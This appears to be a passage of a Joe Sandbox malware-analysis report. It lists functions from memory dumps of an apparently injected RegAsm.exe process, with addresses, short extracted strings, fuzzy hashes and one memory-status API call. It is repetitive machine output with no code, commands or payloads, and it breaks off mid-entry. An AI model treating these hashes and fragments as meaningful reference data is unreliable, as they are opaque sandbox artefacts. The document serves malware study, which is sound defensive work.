Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a8e1f9c661f70f75558e488bc7c77882ccf9615b8bb6efaade7f032cbd6bcba
Instruction ID: 48d4748a1f961f4ee89f5cb4bee23e3ea4f8c394424612044ba477cea5ba8c7f
Opcode Fuzzy Hash: 3a8e1f9c661f70f75558e488bc7c77882ccf9615b8bb6efaade7f032cbd6bcba
Instruction Fuzzy Hash: 90D01235928E1D4BEAB4BB78A0457B5A1E0FF19314F404AAAD02EC3589DF68E99943C1

Function 00007FFAACCDD160 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82839a2325a1a7a9a1e71b7b8171f7005997fc60ab9037c7cfd733c4bfccb9ff
Instruction ID: b29ff5c534aedc29f503b314bd3d698fdd4ca12836d6b82506cddcf03fe8ca66
Opcode Fuzzy Hash: 82839a2325a1a7a9a1e71b7b8171f7005997fc60ab9037c7cfd733c4bfccb9ff
Instruction Fuzzy Hash: 19D05EC2F21A0997F258E73E0C4A76126C2EBD8610F84C172A40DCA2E9EC6CD49A4685

Function 00007FFAACCD2910 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee685bde25fd6dac05df70c1155d814d32adad98604924e9c407e5fa86c18eb6
Instruction ID: 3c9c785e4446f1c6ee89113c87a6f54c41da52b672f7474d3c5127207a9e776f
Opcode Fuzzy Hash: ee685bde25fd6dac05df70c1155d814d32adad98604924e9c407e5fa86c18eb6
Instruction Fuzzy Hash: 04C08C11B0DC098F6281E68D68402A8A2C1D3885703100223C80DC2241C80888A20380

Non-executed Functions

Function 00007FFAACCD0465 Relevance: 9.1, Strings: 7, Instructions: 374COMMON

Download Yara Rule

Strings

M_^T, xrefs: 00007FFAACCD0722
M_^], xrefs: 00007FFAACCD076A
{>M, xrefs: 00007FFAACCD063F
7K>, xrefs: 00007FFAACCD066E
M_^I, xrefs: 00007FFAACCD06C9
M_^U, xrefs: 00007FFAACCD072A
M_^\, xrefs: 00007FFAACCD0762

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 7K>$M_^I$M_^T$M_^U$M_^\$M_^]${>M
API String ID: 0-4244293156
Opcode ID: e9d69870f39d9503aedb7d57163eca591f82dc39aa9c71ecdd3813469fbf8d7c
Instruction ID: 5abdbeaf785da0eba5f569e15a9c1f4992a53278018eff6d59a756e5fde08312
Opcode Fuzzy Hash: e9d69870f39d9503aedb7d57163eca591f82dc39aa9c71ecdd3813469fbf8d7c
Instruction Fuzzy Hash: 08A1069770E5AA4ED602777DF8559FCBF90DF8233670943F7C28CC90839A05608A86E9

Function 00007FFAACD00F10 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5a3aeefaab788fa89bbaed593fdc4ca4e80d17e0309c1f311fe4b4114f1a1e
Instruction ID: a71a4667345cad51958724859b42273a52dfda99469f4619b858e06c7b5ca535
Opcode Fuzzy Hash: 6e5a3aeefaab788fa89bbaed593fdc4ca4e80d17e0309c1f311fe4b4114f1a1e
Instruction Fuzzy Hash: 96215CE790C1735EE201B6FCB4595FA7FD58F45238B0996BBE0CC89043AF483485869D

Analysis Process: RegAsm.exePID: 7360, Parent PID: 2520COMMON

Execution Graph

Execution Coverage:	11.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	4

Executed Functions

Function 06C03118 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 06C03817
$q, xrefs: 06C0383B
$q, xrefs: 06C037FA
$q, xrefs: 06C03847
$q, xrefs: 06C03823
$q, xrefs: 06C037EE

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q
API String ID: 0-2069967915
Opcode ID: 486acc4935031f4470520480e2bc5ac9766312303b7008879d714ba1703c697e
Instruction ID: 644d3ab80d9d7206924fb5d6a1ed89475cc504a1db87d43366575ccc217d255a
Opcode Fuzzy Hash: 486acc4935031f4470520480e2bc5ac9766312303b7008879d714ba1703c697e
Instruction Fuzzy Hash: 43323F31E1075A8FDB14DB69D85069DF7B6FF89300F2486AAD409AB254EF70AD85CB80

Function 06C07E50 Relevance: 3.0, Strings: 2, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 06C083F7
$q, xrefs: 06C083EB

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: b11fcded5a71c4826cde6ca65123580f22a2c43b188c40f9c01a708705ffa8fe
Instruction ID: af6806e562f2a583d5225a3f58866a0c87557d317cff21ccc0f0cab3722ab57d
Opcode Fuzzy Hash: b11fcded5a71c4826cde6ca65123580f22a2c43b188c40f9c01a708705ffa8fe
Instruction Fuzzy Hash: 4E026A30B012159FEB58DF69D990AAEBBE2FF88310F14C529D4159B394DB35ED82CB90

Function 06C05668 Relevance: 1.8, Strings: 1, Instructions: 588
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06C05D1C

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 448235415ad409d8c7a443d893b0fc870513d58622c1bda1dcbe9b65ffc7024d
Instruction ID: d04901800270a704029adf30f95530eecf2a2a48515a45594995107aacaa0c12
Opcode Fuzzy Hash: 448235415ad409d8c7a443d893b0fc870513d58622c1bda1dcbe9b65ffc7024d
Instruction Fuzzy Hash: AA22C375E102148FEF64DBA8C6807AEBBB2FF85310F64856AD845AB384DA35DD41CF90

Function 06C02410 Relevance: 1.0, Instructions: 996COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fd904c774aef029a027821f545155da540b01d26bcdfddb75e86882d6f6d606
Instruction ID: 86ebd5e25cece263ecdd9aa0ee5635a683763bef982503a4341a013903575056
Opcode Fuzzy Hash: 6fd904c774aef029a027821f545155da540b01d26bcdfddb75e86882d6f6d606
Instruction Fuzzy Hash: 87925734E002058FEBA4DB68C588B5DBBF2EB45314F5485A9D4099B391DB39EE85CF81

Function 06C066B0 Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0517b394ff13c4d9332d259472416e2e97b207c42a5041eee02025bcedb2bdf
Instruction ID: 545abad3ad458606e415771c74b6a07b50ac17bc15b57c19140bc92e6e8c7efe
Opcode Fuzzy Hash: f0517b394ff13c4d9332d259472416e2e97b207c42a5041eee02025bcedb2bdf
Instruction Fuzzy Hash: 8B627C34A002049FEB64DF69D994BADBBF2EF84310F248569E506DB394DB35ED42CB90

Function 06C0ADA0 Relevance: 10.4, Strings: 8, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 06C0AECD
$q, xrefs: 06C0AF14
$q, xrefs: 06C0AEC1
$q, xrefs: 06C0AF6C
$q, xrefs: 06C0AF78
$q, xrefs: 06C0AF43
$q, xrefs: 06C0AF4F
$q, xrefs: 06C0AF20

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-3886557441
Opcode ID: cfa4ca35c40c624b7e88f5fb6a6dc7c604ef3e32bd02d570fc8351677c579181
Instruction ID: a7d0590b3182b2aa3c3ca0e7d0f136f385a289a3c3a490e7073fbdcd645691f1
Opcode Fuzzy Hash: cfa4ca35c40c624b7e88f5fb6a6dc7c604ef3e32bd02d570fc8351677c579181
Instruction Fuzzy Hash: 2EE17D30E003098FEB64DBA9D4846AEB7B2FF84310F108529E515EB385DB35ED46CB95

Function 06C0B730 Relevance: 8.0, Strings: 6, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 06C0BC93
$q, xrefs: 06C0BC53
$q, xrefs: 06C0BC87
$q, xrefs: 06C0BC5F
$q, xrefs: 06C0BCC7
$q, xrefs: 06C0BCBB

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q
API String ID: 0-2069967915
Opcode ID: 362910e29f43664296c1352b58545e27c528e4d4725fe7bd75d02f5f09c9a676
Instruction ID: d079d25f2ed438550042380f1e0cc40ef615c0c84d0e590f7d7eb2d2e7f617e2
Opcode Fuzzy Hash: 362910e29f43664296c1352b58545e27c528e4d4725fe7bd75d02f5f09c9a676
Instruction Fuzzy Hash: 1C029030E0020A8FEB64DF69D5806ADB7B2FF45310F24892AE415DB391DB36ED85CB91

Function 06C09228 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 06C092D3
$q, xrefs: 06C09298
$q, xrefs: 06C092DF
$q, xrefs: 06C092A4

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 028808d63985e3f300db94fa5a217e0d9a408a06099d34a26b4608f6446c3115
Instruction ID: c0c5b86be531fc8ad467d3e0fa19d52b0e68952bcc8d3ae6612935dc6ddb9592
Opcode Fuzzy Hash: 028808d63985e3f300db94fa5a217e0d9a408a06099d34a26b4608f6446c3115
Instruction Fuzzy Hash: 82915134B002199FDB64DB69D8507AEB7B2FF89300F148569D819EB385EE70DD82CB91

Function 06C0D018 Relevance: 4.6, Strings: 3, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 06C0D40F
$q, xrefs: 06C0D423
$q, xrefs: 06C0D417

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q
API String ID: 0-3067366958
Opcode ID: 7791b6ae3a34c8c661bf838ec8fc728622cc1be9d926bff73d3528c8ca204ce7
Instruction ID: 069e562825a1d33c2433cb0458e580c1e57e191a3f1384b3bb300d81689132f0
Opcode Fuzzy Hash: 7791b6ae3a34c8c661bf838ec8fc728622cc1be9d926bff73d3528c8ca204ce7
Instruction Fuzzy Hash: 7D627F34A003158FDB15DFA9D580A9EBBB2FF84301B248A69D0069F359DB75FD86CB81

Function 06C04C28 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPq, xrefs: 06C04D55
\Oq, xrefs: 06C04DDF
fq, xrefs: 06C05335

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: fq$XPq$\Oq
API String ID: 0-132346853
Opcode ID: 4190b9d4786c26bfb5ca1422da353845124be6c457efd0bfd491d72afa44288a
Instruction ID: 89dbd4a5eeb3b6c4b731be1a4995b615866c195e9f5aebf9742615d633a4984f
Opcode Fuzzy Hash: 4190b9d4786c26bfb5ca1422da353845124be6c457efd0bfd491d72afa44288a
Instruction Fuzzy Hash: 64619D30F002199FEB549BA9C8147AEBAF6FF88300F20852DD516AB394DF758D41CB94

Function 06C09218 Relevance: 2.7, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 06C092D3
$q, xrefs: 06C09298

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: a185a8985f342d654deda8bd8b8a436996b0fb9124a811c705455e59f5a0ac5c
Instruction ID: 30497b61c0703706f337ba541d884b48478e1653e311f4b5f21888555cb9a85e
Opcode Fuzzy Hash: a185a8985f342d654deda8bd8b8a436996b0fb9124a811c705455e59f5a0ac5c
Instruction Fuzzy Hash: D7513E74B002049FEB64DB69D86176EBBE2FB89300F148669D819DB385EE34DD428B91

Function 0561EA70 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.3728626137.0000000005610000.00000040.00000800.00020000.00000000.sdmp, Offset: 05610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5610000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8a7582e5a91801be590d54c022f60de2cbf92b2671437c269e32f7dc52eaca5
Instruction ID: 39a6c733eee81cc815f63b192c6d0ca9aa5ac05df2a6ded921fa27ffdfb3df51
Opcode Fuzzy Hash: b8a7582e5a91801be590d54c022f60de2cbf92b2671437c269e32f7dc52eaca5
Instruction Fuzzy Hash: 6E414372E043498FCB24DF69D8046AEBBF5BF89310F08856AD905E7380DB749845CBE4

Function 0561EB58 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 0561EBBF

Memory Dump Source

Source File: 0000000A.00000002.3728626137.0000000005610000.00000040.00000800.00020000.00000000.sdmp, Offset: 05610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5610000_RegAsm.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: b7a3d2a16e673614ecb5b4c4f2ccaec703d2c4148b92f22a6fe8aa5b143f9762
Instruction ID: c7f8261bd1ddda14d1b94078c4094db2a0ac4ddfa69c8ddc6ec630767ee68560
Opcode Fuzzy Hash: b7a3d2a16e673614ecb5b4c4f2ccaec703d2c4148b92f22a6fe8aa5b143f9762
Instruction Fuzzy Hash: AF1112B1C0065A9BCB20DF9AC945B9EFBF4AB48324F14852AD818A7240D778A945CFA5

Function 06C04C18 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

XPq, xrefs: 06C04D55

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: XPq
API String ID: 0-1601936878
Opcode ID: 147b513d751ed15c78e50159524fc07ce16fa31e736ae7d4fc09dd3df7985c1f
Instruction ID: a93a73c5dc9369a0d17432b75d0df48a617c61adf3ee92df1ea3736ed2db4387
Opcode Fuzzy Hash: 147b513d751ed15c78e50159524fc07ce16fa31e736ae7d4fc09dd3df7985c1f
Instruction Fuzzy Hash: 9F417C70F002099FEB559FA9C814BAEBAF7BF88300F20852DE505AB394DA758C01CB90

Function 06C0DB8D Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

PHq, xrefs: 06C0DCE9

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: edd5c9078a179ff56d33f0e2e33325c6bbe68b80feb3655ce63c5c266c33be7c
Instruction ID: 46e6af73a77f70a81eae427583429df6db93e7858656a09838e6fbc6e39d2156
Opcode Fuzzy Hash: edd5c9078a179ff56d33f0e2e33325c6bbe68b80feb3655ce63c5c266c33be7c
Instruction Fuzzy Hash: 76416270E003099FEB65EFA5C85469EBBB6FF85700F24452DE406DB280DB71A946CB91

Function 06C02298 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PHq, xrefs: 06C023D3

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: 581fbffb1716f3a01d056d825bbb6f284a237b7f078c83dbf98cb96fedb72f5b
Instruction ID: 671a407d85030493a7a44a80d0958e71c9be337d473822b5e06542c33c6c8f4b
Opcode Fuzzy Hash: 581fbffb1716f3a01d056d825bbb6f284a237b7f078c83dbf98cb96fedb72f5b
Instruction Fuzzy Hash: D931F030B002058FEB699F75D85866E7AABBF89610F24442DD402DB384DE38EE46CB95

Function 06C083A0 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

$q, xrefs: 06C083EB

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q
API String ID: 0-1301096350
Opcode ID: 352c8c21ec62c7844b9af9c5b92e9bac997f0eeb2e93960344dadaf6293ab300
Instruction ID: 3534595ae55d71d8cd37cc03f05680caa11fcdd1f2ef08aab7a8de4fb41c180a
Opcode Fuzzy Hash: 352c8c21ec62c7844b9af9c5b92e9bac997f0eeb2e93960344dadaf6293ab300
Instruction Fuzzy Hash: A4F0C235B05211EFFF648E96FAA02A877A9EB84315F14C079D905CB2C1DA35EE42CB91

Function 06C0C260 Relevance: .6, Instructions: 638COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 579d595a4bfad28d967198a4b693c3f4ccfaf4931bbf40b9989160e75d74177d
Instruction ID: 0d66daf1ab07f019185b65bdfbfb71b989e8cfd8d39b907a2b7631daeaea4276
Opcode Fuzzy Hash: 579d595a4bfad28d967198a4b693c3f4ccfaf4931bbf40b9989160e75d74177d
Instruction Fuzzy Hash: 23325134F002059FEB64DB69D890BAEBBB2FB88310F108629D505EB395DB35ED41CB95

Function 06C0B5A4 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69c755da582946d94a54185b5f2c84f9c16ad1fe1ae153541f0df082ef7142aa
Instruction ID: cbc17a70d8ce5e8999e6785a99cf14f14abb38ea9905affca5ea24fe8a179b02
Opcode Fuzzy Hash: 69c755da582946d94a54185b5f2c84f9c16ad1fe1ae153541f0df082ef7142aa
Instruction Fuzzy Hash: 29A14F74F002099FFF64DBA8D4907AEB7B2EB89310F244429E405EB3D1CA36DE819B55

Function 06C0B72E Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f23ac3b24b50647bc02d4ab6e3a1485289a31b4d5d81fa5f4f5307e45c5588e6
Instruction ID: d9952d9e136f8ce1eb002a4d9adbacd75201b9501fcabc0134558f776bc51613
Opcode Fuzzy Hash: f23ac3b24b50647bc02d4ab6e3a1485289a31b4d5d81fa5f4f5307e45c5588e6
Instruction Fuzzy Hash: 10A13E34E102098FEF64CB58D5807ADB7B1FB49310F24892AE455DB391DB36EE85CB91

Function 06C062A8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067d1f744c63bcf3e6e807fd79545a8e49ebc3f719102cc7e549a60f74b85fe2
Instruction ID: b93cd974cead405944b5a9114703e22aea61246447130e735ce01ff688acf138
Opcode Fuzzy Hash: 067d1f744c63bcf3e6e807fd79545a8e49ebc3f719102cc7e549a60f74b85fe2
Instruction Fuzzy Hash: 7261A571F001214FDF549A7EC88069FBAD7AFC5620B194439D80AEB3A4DEB5ED4287D2

Function 06C04358 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9687fb86457f746bb896e49a1755c2e07f2787951de4e2600012b498c8adc3
Instruction ID: e3f2cd5015d99c4b8ed0899b6df61655a5a40185d5959581369c6883e4027874
Opcode Fuzzy Hash: bb9687fb86457f746bb896e49a1755c2e07f2787951de4e2600012b498c8adc3
Instruction Fuzzy Hash: 38811E74B002099FDB58DFA9D5507AEBBE3AF89300F108529D50ADB385EE34DD828B91

Function 06C04678 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07b1f63caab118b18800347e6fa90d66a8f1d26be37bca268ae262aeb702499e
Instruction ID: 79a548925c9c9db728eeef815f9ecfdae0f61de6a4a27bd691523bc42285517f
Opcode Fuzzy Hash: 07b1f63caab118b18800347e6fa90d66a8f1d26be37bca268ae262aeb702499e
Instruction Fuzzy Hash: 62913F34E102198BDF64DF68C890B9DB7B1FF89300F20C599D549BB395DB70AA85CB91

Function 06C04690 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c2a658f813b01739fadbcd4c98092cc7b12944a2b23777336d2aed357f280ab
Instruction ID: 8ceed1872931ca1e617670545f7baa4692ab4798874ed25ea863d2633fbae6a6
Opcode Fuzzy Hash: 9c2a658f813b01739fadbcd4c98092cc7b12944a2b23777336d2aed357f280ab
Instruction Fuzzy Hash: A9912E34E106198BDF64DF68C880B9DB7B1FF89310F20C599D549BB385DB70AA85CB91

Function 06C0EBE2 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3143d548f93b6f68b8a42a3082dd99e8a447a92a5dbb70ae5674e8db1993385a
Instruction ID: 8d2c2bbbaad66542a34ede75016e06a02c308a9fc1a50a2e1483487f3b498114
Opcode Fuzzy Hash: 3143d548f93b6f68b8a42a3082dd99e8a447a92a5dbb70ae5674e8db1993385a
Instruction Fuzzy Hash: C0712D74B002099FEB54DBA9D980A9DBBF6FF88300F248569E415EB354DB30ED46CB54

Function 06C0EBF0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d00ed915e4c9541005924579f4dbcd57e58a0c433f8c22c2a928645d566874
Instruction ID: 4eff587e3dbb1d8c84c842a381e1a1739294ef41e2eebc05042d8176cf116164
Opcode Fuzzy Hash: 41d00ed915e4c9541005924579f4dbcd57e58a0c433f8c22c2a928645d566874
Instruction Fuzzy Hash: 96711C70B002099FEB54DBA9D980AADBBF6FF88300F248569E415EB354DB30ED46CB55

Function 06C0FD51 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b55eb2b54708d00c8bf5dcf37341f34cc89cf1c82a87280f57d677cf8c47b82
Instruction ID: 85883506350c2b9005b60d9e6e4ee04e9f86c01bda73bba5cf30ef88b1e2dac6
Opcode Fuzzy Hash: 1b55eb2b54708d00c8bf5dcf37341f34cc89cf1c82a87280f57d677cf8c47b82
Instruction Fuzzy Hash: 1851E371E00204DFEB64EFB8E8446ADBBB6FB89311F10486DE526D7290DB359995CB80

Function 06C0FB00 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc5a9c086b4d5400b62c33a19ca26f2206617dfc8e1b1b2ab2cd240311777562
Instruction ID: a47240e76538fadfc9aeab9678656b0028cbf0bae1e41b47155b651fa4454a9d
Opcode Fuzzy Hash: dc5a9c086b4d5400b62c33a19ca26f2206617dfc8e1b1b2ab2cd240311777562
Instruction Fuzzy Hash: 9F51A2B0F202049BFF745668D854B2E2A9AD78D351F20442EE91BC73D4CA78DD8297A2

Function 06C0FB10 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

